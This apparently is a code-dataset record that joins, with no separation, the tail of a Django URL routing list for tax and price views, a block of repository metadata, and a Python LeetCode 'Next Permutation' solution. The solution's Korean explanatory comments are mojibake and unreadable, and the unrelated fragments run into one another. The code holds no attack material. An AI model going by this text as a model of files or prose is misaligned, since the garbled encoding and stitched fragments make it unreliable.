TaxCreate.as_view(), name='TaxCreate'), path('tax/<int:pk>/edit/', TaxUpdate.as_view(), name='TaxUpdate'), path('tax/delete/<int:id>/', TaxDelete , name='TaxDelete'), path('tax/xls', TaxXls , name='TaxXls'), path('prices_product/<int:pk>/<int:ppk>/edit/', PricesProductUpdate.as_view(), name='PricesProductUpdate'), path('prices_product/<int:pk>/<int:ppk>/delete/', PricesProductDelete.as_view(), name='PricesProductDelete'), path('prices_product/<int:pk>/<int:ppk>/stop/', PricesProductStop.as_view(), name='PricesProductStop'), path('prices_product/<int:pk>/<int:ppk>/active/', PricesProductActive.as_view(), name='PricesProductActive'), ]
9f8ce2a8babfebf2df4043994027fbb07c66730e
303d61b95651407951af11224df32a6b2c54ee0a
/medium/Next_Permutation.py
fc77b475ef0b932927fcfe83d9ff98e16b4db50f
[]
no_license
junghyun4425/myleetcode
6e621e8f1641fb8e55fe7063b563d0cec20373a6
f0ad1e671de99574e00b4e78391d001677d60d82
refs/heads/master
2023-07-22T12:27:23.487909
2021-08-24T10:01:49
2021-08-24T10:01:49
317,727,586
0
0
null
null
null
null
UTF-8
Python
false
false
1,776
py
# Problem Link: https://leetcode.com/problems/next-permutation/ ''' ๋ฌธ์ œ ์š”์•ฝ: ์ˆœ์—ด ๋‹ค์Œ์— ๋‚˜์˜ฌ ์ˆœ์„œ์˜ ์กฐํ•ฉ์„ ์™„์„ฑํ•˜๋Š” ๋ฌธ์ œ. ask: [4,5,3,2,1] answer: [5,1,2,3,4] ํ•ด์„: ์ˆœ์—ด์ด ๋งŒ๋“ค์–ด์ง€๋Š” ๋‚ด๋ถ€ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์ •ํ™•ํžˆ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€์— ๋Œ€ํ•œ ๋ฌธ์ œ. ์ด๋ถ€๋ถ„์„ ๋ชจ๋ฅธ๋‹ค๋ฉด ๋‚œ์ด๋„๋Š” hard๋ผ ๋ณผ์ˆ˜ ์žˆ์Œ. (๊ตฌํ˜„ ์ž์ฒด๋Š” ์–ด๋ ค์›€์ด ์—†์œผ๋ฏ€๋กœ) ์šฐ์„  ์ฒ˜์Œ ์ฐพ์€ ๊ทœ์น™์ด ๋‹ค๋ฅธ ์˜ˆ์ œ์—์„œ๋Š” ๋“ค์–ด๋งž์ง€ ์•Š์•„์„œ ์‹คํŒจ. ๋‚˜๋ฆ„ ์ •๋‹ต๊ณผ ๊ทผ์ ‘ํ–ˆ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ์œผ๋‚˜ ์ •๋‹ต๊นŒ์ง€ ๋„๋‹ฌํ•˜์ง€ ๋ชปํ•ด ์ˆœ์—ด์˜ ์›๋ฆฌ๋ฅผ ์ธํ„ฐ๋„ท์—์„œ ๊ณต๋ถ€. ์šฐ์ธก์—์„œ ๋ถ€ํ„ฐ ๋‚˜์•„๊ฐ€ ๊ฐ’์ด ๋–จ์–ด์ง€๋Š” ๋ถ€๋ถ„์„ ์ฐพ์€ ๋‹ค์Œ, ๊ทธ ๊ฐ’๊ณผ ๊ฐ€์žฅ ๊ทผ์ ‘ํ•œ ํฐ ์ˆ˜๋ฅผ ์˜ค๋ฅธ์ชฝ์„ ํ–ฅํ•ด ์ฐพ๊ณ  ๊ทธ ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ”์•ผํ•จ. ๊ทธ๋ฆฌ๊ณ  ๊ทธ ๋‚˜๋จธ์ง€ ๋’ค์— ์ˆซ์ž๋“ค์˜ ์ˆœ์„œ๋ฅผ ๋’ค์ง‘์œผ๋ฉด ๋‹ค์Œ์˜ ์ˆœ์—ด์ด ์™„์„ฑ. ์ˆ˜ํ•™์  ์„ผ์Šค๊ฐ€ ๋ถ€์กฑํ•ด์„œ ํ˜ผ์žํž˜์œผ๋กœ ๋ชปํ’€์€ ๋А๋‚Œ์ด๊ธฐ์— ์ด๋Ÿฐ ๋ฌธ์ œ๋“ค์„ ๋” ๋งŽ์ด ์ ‘ํ•ด๋ณด๊ณ  ๊ณต๋ถ€ํ•ด์•ผ ํ•จ. ''' class Solution: def nextPermutation(self, nums: List[int]) -> None: """ Do not return anything, modify nums in-place instead. """ def swap(i, j): tmp = nums[i] nums[i] = nums[j] nums[j] = tmp n_len = len(nums) dec, inc = -1, -1 for i in range(n_len - 1, 0, -1): if nums[i - 1] < nums[i]: dec = i - 1 break for i in range(dec + 1, n_len): if nums[dec] >= nums[i]: inc = i - 1 break if dec < 0: nums.sort() else: swap(dec, inc) for i in range((n_len - (dec + 1)) // 2): swap(dec + 1 + i, -1 - i)